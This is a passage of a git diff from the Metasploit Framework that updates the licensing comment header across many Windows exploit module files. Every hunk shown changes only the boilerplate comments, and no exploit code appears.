a/modules/exploits/windows/fileformat/videospirit_visprj.rb +++ b/modules/exploits/windows/fileformat/videospirit_visprj.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/visio_dxf_bof.rb b/modules/exploits/windows/fileformat/visio_dxf_bof.rb index 545007ccef..fddd0cc749 100644 --- a/modules/exploits/windows/fileformat/visio_dxf_bof.rb +++ b/modules/exploits/windows/fileformat/visio_dxf_bof.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework require 'msf/core' diff --git a/modules/exploits/windows/fileformat/visiwave_vwr_type.rb b/modules/exploits/windows/fileformat/visiwave_vwr_type.rb index c5213fc604..14f7509beb 100644 --- a/modules/exploits/windows/fileformat/visiwave_vwr_type.rb +++ b/modules/exploits/windows/fileformat/visiwave_vwr_type.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/vlc_modplug_s3m.rb b/modules/exploits/windows/fileformat/vlc_modplug_s3m.rb index b973ab2731..f30a162cc3 100644 --- a/modules/exploits/windows/fileformat/vlc_modplug_s3m.rb +++ b/modules/exploits/windows/fileformat/vlc_modplug_s3m.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/vlc_realtext.rb b/modules/exploits/windows/fileformat/vlc_realtext.rb index e422ad95c1..732f9539c7 100644 --- a/modules/exploits/windows/fileformat/vlc_realtext.rb +++ b/modules/exploits/windows/fileformat/vlc_realtext.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/vlc_smb_uri.rb b/modules/exploits/windows/fileformat/vlc_smb_uri.rb index ee0c8c546a..ded8af7938 100644 --- a/modules/exploits/windows/fileformat/vlc_smb_uri.rb +++ b/modules/exploits/windows/fileformat/vlc_smb_uri.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/vlc_webm.rb b/modules/exploits/windows/fileformat/vlc_webm.rb index 43072713ce..e9203fbbb7 100644 --- a/modules/exploits/windows/fileformat/vlc_webm.rb +++ b/modules/exploits/windows/fileformat/vlc_webm.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/vuplayer_cue.rb b/modules/exploits/windows/fileformat/vuplayer_cue.rb index b22023f036..89f3129a06 100644 --- a/modules/exploits/windows/fileformat/vuplayer_cue.rb +++ b/modules/exploits/windows/fileformat/vuplayer_cue.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/vuplayer_m3u.rb b/modules/exploits/windows/fileformat/vuplayer_m3u.rb index 8eaf6c530a..b9a2bf4828 100644 --- a/modules/exploits/windows/fileformat/vuplayer_m3u.rb +++ b/modules/exploits/windows/fileformat/vuplayer_m3u.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/winamp_maki_bof.rb b/modules/exploits/windows/fileformat/winamp_maki_bof.rb index a9d2997fcd..fff63decec 100644 --- a/modules/exploits/windows/fileformat/winamp_maki_bof.rb +++ b/modules/exploits/windows/fileformat/winamp_maki_bof.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/wireshark_packet_dect.rb b/modules/exploits/windows/fileformat/wireshark_packet_dect.rb index 734fdc8de8..f1464e24db 100644 --- a/modules/exploits/windows/fileformat/wireshark_packet_dect.rb +++ b/modules/exploits/windows/fileformat/wireshark_packet_dect.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/wm_downloader_m3u.rb b/modules/exploits/windows/fileformat/wm_downloader_m3u.rb index dbf3a083bf..5db1023214 100644 --- a/modules/exploits/windows/fileformat/wm_downloader_m3u.rb +++ b/modules/exploits/windows/fileformat/wm_downloader_m3u.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/xenorate_xpl_bof.rb b/modules/exploits/windows/fileformat/xenorate_xpl_bof.rb index 204a96175b..f300db911c 100644 --- a/modules/exploits/windows/fileformat/xenorate_xpl_bof.rb +++ b/modules/exploits/windows/fileformat/xenorate_xpl_bof.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/xion_m3u_sehbof.rb b/modules/exploits/windows/fileformat/xion_m3u_sehbof.rb index 9549666790..b22842f4b7 100644 --- a/modules/exploits/windows/fileformat/xion_m3u_sehbof.rb +++ b/modules/exploits/windows/fileformat/xion_m3u_sehbof.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/xradio_xrl_sehbof.rb b/modules/exploits/windows/fileformat/xradio_xrl_sehbof.rb index a64d68c635..479cd33715 100644 --- a/modules/exploits/windows/fileformat/xradio_xrl_sehbof.rb +++ b/modules/exploits/windows/fileformat/xradio_xrl_sehbof.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/zinfaudioplayer221_pls.rb b/modules/exploits/windows/fileformat/zinfaudioplayer221_pls.rb index 5d1eb24018..e7fd49358d 100644 --- a/modules/exploits/windows/fileformat/zinfaudioplayer221_pls.rb +++ b/modules/exploits/windows/fileformat/zinfaudioplayer221_pls.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/firewall/blackice_pam_icq.rb b/modules/exploits/windows/firewall/blackice_pam_icq.rb index cbf53d9092..0dc06797de 100644 --- a/modules/exploits/windows/firewall/blackice_pam_icq.rb +++ b/modules/exploits/windows/firewall/blackice_pam_icq.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/firewall/kerio_auth.rb b/modules/exploits/windows/firewall/kerio_auth.rb index 3f33c15461..e78f1fd61b 100644 --- a/modules/exploits/windows/firewall/kerio_auth.rb +++ b/modules/exploits/windows/firewall/kerio_auth.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/ftp/32bitftp_list_reply.rb b/modules/exploits/windows/ftp/32bitftp_list_reply.rb index d758fa5c55..2397646d89 100644 --- a/modules/exploits/windows/ftp/32bitftp_list_reply.rb +++ b/modules/exploits/windows/ftp/32bitftp_list_reply.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## class Metasploit3 < Msf::Exploit::Remote diff --git a/modules/exploits/windows/ftp/3cdaemon_ftp_user.rb b/modules/exploits/windows/ftp/3cdaemon_ftp_user.rb index 27aaf47205..c46eca75c2 100644 --- a/modules/exploits/windows/ftp/3cdaemon_ftp_user.rb +++ b/modules/exploits/windows/ftp/3cdaemon_ftp_user.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/ftp/aasync_list_reply.rb b/modules/exploits/windows/ftp/aasync_list_reply.rb index 314cc2d26e..7b8beee28b 100644 --- a/modules/exploits/windows/ftp/aasync_list_reply.rb +++ b/modules/exploits/windows/ftp/aasync_list_reply.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## class Metasploit3 < Msf::Exploit::Remote diff --git a/modules/exploits/windows/ftp/ability_server_stor.rb b/modules/exploits/windows/ftp/ability_server_stor.rb index 55f304d26e..7cdc971e4f 100644 --- a/modules/exploits/windows/ftp/ability_server_stor.rb +++ b/modules/exploits/windows/ftp/ability_server_stor.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/ftp/absolute_ftp_list_bof.rb b/modules/exploits/windows/ftp/absolute_ftp_list_bof.rb index 25d5564a4a..e1c50993be 100644 --- a/modules/exploits/windows/ftp/absolute_ftp_list_bof.rb +++ b/modules/exploits/windows/ftp/absolute_ftp_list_bof.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/ftp/cesarftp_mkd.rb b/modules/exploits/windows/ftp/cesarftp_mkd.rb index 367089b023..e657d375ce 100644 --- a/modules/exploits/windows/ftp/cesarftp_mkd.rb +++ b/modules/exploits/windows/ftp/cesarftp_mkd.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/ftp/comsnd_ftpd_fmtstr.rb b/modules/exploits/windows/ftp/comsnd_ftpd_fmtstr.rb index d6b2558fe2..de1f5513f2 100644 --- a/modules/exploits/windows/ftp/comsnd_ftpd_fmtstr.rb +++ b/modules/exploits/windows/ftp/comsnd_ftpd_fmtstr.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/ftp/dreamftp_format.rb b/modules/exploits/windows/ftp/dreamftp_format.rb index b78bb51768..05e8bda803 100644 --- a/modules/exploits/windows/ftp/dreamftp_format.rb +++ b/modules/exploits/windows/ftp/dreamftp_format.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/ftp/easyfilesharing_pass.rb b/modules/exploits/windows/ftp/easyfilesharing_pass.rb index d96ff299cd..b1b8ac68f1 100644 --- a/modules/exploits/windows/ftp/easyfilesharing_pass.rb +++ b/modules/exploits/windows/ftp/easyfilesharing_pass.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/ftp/easyftp_cwd_fixret.rb b/modules/exploits/windows/ftp/easyftp_cwd_fixret.rb index 041c5316eb..58958b34df 100644 --- a/modules/exploits/windows/ftp/easyftp_cwd_fixret.rb +++ b/modules/exploits/windows/ftp/easyftp_cwd_fixret.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/ftp/easyftp_list_fixret.rb b/modules/exploits/windows/ftp/easyftp_list_fixret.rb index cd611978f5..4ec0fcad81 100644 --- a/modules/exploits/windows/ftp/easyftp_list_fixret.rb +++ b/modules/exploits/windows/ftp/easyftp_list_fixret.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## ## diff --git a/modules/exploits/windows/ftp/easyftp_mkd_fixret.rb b/modules/exploits/windows/ftp/easyftp_mkd_fixret.rb index 8e91922cf3..4e45a2818d 100644 --- a/modules/exploits/windows/ftp/easyftp_mkd_fixret.rb +++ b/modules/exploits/windows/ftp/easyftp_mkd_fixret.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/ftp/filecopa_list_overflow.rb b/modules/exploits/windows/ftp/filecopa_list_overflow.rb index 8b917e91d5..ca3491b57a 100644 --- a/modules/exploits/windows/ftp/filecopa_list_overflow.rb +++ b/modules/exploits/windows/ftp/filecopa_list_overflow.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/ftp/filewrangler_list_reply.rb b/modules/exploits/windows/ftp/filewrangler_list_reply.rb index 4033e4dd5b..a5412555de 100644 --- a/modules/exploits/windows/ftp/filewrangler_list_reply.rb +++ b/modules/exploits/windows/ftp/filewrangler_list_reply.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## class Metasploit3 < Msf::Exploit::Remote diff --git a/modules/exploits/windows/ftp/freefloatftp_user.rb b/modules/exploits/windows/ftp/freefloatftp_user.rb index 709a09f664..4216f55490 100644 --- a/modules/exploits/windows/ftp/freefloatftp_user.rb +++ b/modules/exploits/windows/ftp/freefloatftp_user.rb @@ -1,6 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## diff --git a/modules/exploits/windows/ftp/freefloatftp_wbem.rb b/modules/exploits/windows/ftp/freefloatftp_wbem.rb index 2b2453c22a..c5563b46eb 100644 --- a/modules/exploits/windows/ftp/freefloatftp_wbem.rb +++ b/modules/exploits/windows/ftp/freefloatftp_wbem.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/ftp/freeftpd_pass.rb b/modules/exploits/windows/ftp/freeftpd_pass.rb index 3915f9ab66..8d9c0b9ef5 100644 --- a/modules/exploits/windows/ftp/freeftpd_pass.rb +++ b/modules/exploits/windows/ftp/freeftpd_pass.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/ftp/freeftpd_user.rb b/modules/exploits/windows/ftp/freeftpd_user.rb index da7da7d1fd..db8e0d7a3c 100644 --- a/modules/exploits/windows/ftp/freeftpd_user.rb +++ b/modules/exploits/windows/ftp/freeftpd_user.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/ftp/ftpgetter_pwd_reply.rb b/modules/exploits/windows/ftp/ftpgetter_pwd_reply.rb index 3a81f0fea2..c0c12a4d07 100644 --- a/modules/exploits/windows/ftp/ftpgetter_pwd_reply.rb +++ b/modules/exploits/windows/ftp/ftpgetter_pwd_reply.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## class Metasploit3 < Msf::Exploit::Remote diff --git a/modules/exploits/windows/ftp/ftppad_list_reply.rb b/modules/exploits/windows/ftp/ftppad_list_reply.rb index f44488927a..0798ed0ee9 100644 --- a/modules/exploits/windows/ftp/ftppad_list_reply.rb +++ b/modules/exploits/windows/ftp/ftppad_list_reply.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## class Metasploit3 < Msf::Exploit::Remote diff --git a/modules/exploits/windows/ftp/ftpshell51_pwd_reply.rb b/modules/exploits/windows/ftp/ftpshell51_pwd_reply.rb index e17e015d95..823c96a67d 100644 --- a/modules/exploits/windows/ftp/ftpshell51_pwd_reply.rb +++ b/modules/exploits/windows/ftp/ftpshell51_pwd_reply.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## class Metasploit3 < Msf::Exploit::Remote diff --git a/modules/exploits/windows/ftp/ftpsynch_list_reply.rb b/modules/exploits/windows/ftp/ftpsynch_list_reply.rb index f814cb5b3d..317164fae8 100644 --- a/modules/exploits/windows/ftp/ftpsynch_list_reply.rb +++ b/modules/exploits/windows/ftp/ftpsynch_list_reply.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## class Metasploit3 < Msf::Exploit::Remote diff --git a/modules/exploits/windows/ftp/gekkomgr_list_reply.rb b/modules/exploits/windows/ftp/gekkomgr_list_reply.rb index 2f437aaff0..eb4922e35e 100644 --- a/modules/exploits/windows/ftp/gekkomgr_list_reply.rb +++ b/modules/exploits/windows/ftp/gekkomgr_list_reply.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## class Metasploit3 < Msf::Exploit::Remote diff --git a/modules/exploits/windows/ftp/globalscapeftp_input.rb b/modules/exploits/windows/ftp/globalscapeftp_input.rb index e2a8cec53a..091b153aec 100644 --- a/modules/exploits/windows/ftp/globalscapeftp_input.rb +++ b/modules/exploits/windows/ftp/globalscapeftp_input.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/ftp/goldenftp_pass_bof.rb b/modules/exploits/windows/ftp/goldenftp_pass_bof.rb index f900bb737b..d773ba4cc8 100644 --- a/modules/exploits/windows/ftp/goldenftp_pass_bof.rb +++ b/modules/exploits/windows/ftp/goldenftp_pass_bof.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/ftp/httpdx_tolog_format.rb b/modules/exploits/windows/ftp/httpdx_tolog_format.rb index 08a848f94d..a1263b6f66 100644 --- a/modules/exploits/windows/ftp/httpdx_tolog_format.rb +++ b/modules/exploits/windows/ftp/httpdx_tolog_format.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/ftp/leapftp_list_reply.rb b/modules/exploits/windows/ftp/leapftp_list_reply.rb index 9a137a712f..09ffc8f6d0 100644 --- a/modules/exploits/windows/ftp/leapftp_list_reply.rb +++ b/modules/exploits/windows/ftp/leapftp_list_reply.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## class Metasploit3 < Msf::Exploit::Remote diff --git a/modules/exploits/windows/ftp/leapftp_pasv_reply.rb b/modules/exploits/windows/ftp/leapftp_pasv_reply.rb index 8baef2a683..f1a07665b5 100644 --- a/modules/exploits/windows/ftp/leapftp_pasv_reply.rb +++ b/modules/exploits/windows/ftp/leapftp_pasv_reply.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## class Metasploit3 < Msf::Exploit::Remote diff --git a/modules/exploits/windows/ftp/ms09_053_ftpd_nlst.rb b/modules/exploits/windows/ftp/ms09_053_ftpd_nlst.rb index fa024b9047..0364af0a4c 100644 --- a/modules/exploits/windows/ftp/ms09_053_ftpd_nlst.rb +++ b/modules/exploits/windows/ftp/ms09_053_ftpd_nlst.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/ftp/netterm_netftpd_user.rb b/modules/exploits/windows/ftp/netterm_netftpd_user.rb index 749878c0ad..1fd6e91a82 100644 --- a/modules/exploits/windows/ftp/netterm_netftpd_user.rb +++ b/modules/exploits/windows/ftp/netterm_netftpd_user.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/ftp/odin_list_reply.rb b/modules/exploits/windows/ftp/odin_list_reply.rb index 437a9fb4eb..304e1d971a 100644 --- a/modules/exploits/windows/ftp/odin_list_reply.rb +++ b/modules/exploits/windows/ftp/odin_list_reply.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## class Metasploit3 < Msf::Exploit::Remote diff --git a/modules/exploits/windows/ftp/open_ftpd_wbem.rb b/modules/exploits/windows/ftp/open_ftpd_wbem.rb index c2bb3f5306..4157eb035f 100644 --- a/modules/exploits/windows/ftp/open_ftpd_wbem.rb +++ b/modules/exploits/windows/ftp/open_ftpd_wbem.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/ftp/oracle9i_xdb_ftp_pass.rb b/modules/exploits/windows/ftp/oracle9i_xdb_ftp_pass.rb index db95e6e09f..89996329c8 100644 --- a/modules/exploits/windows/ftp/oracle9i_xdb_ftp_pass.rb +++ b/modules/exploits/windows/ftp/oracle9i_xdb_ftp_pass.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit 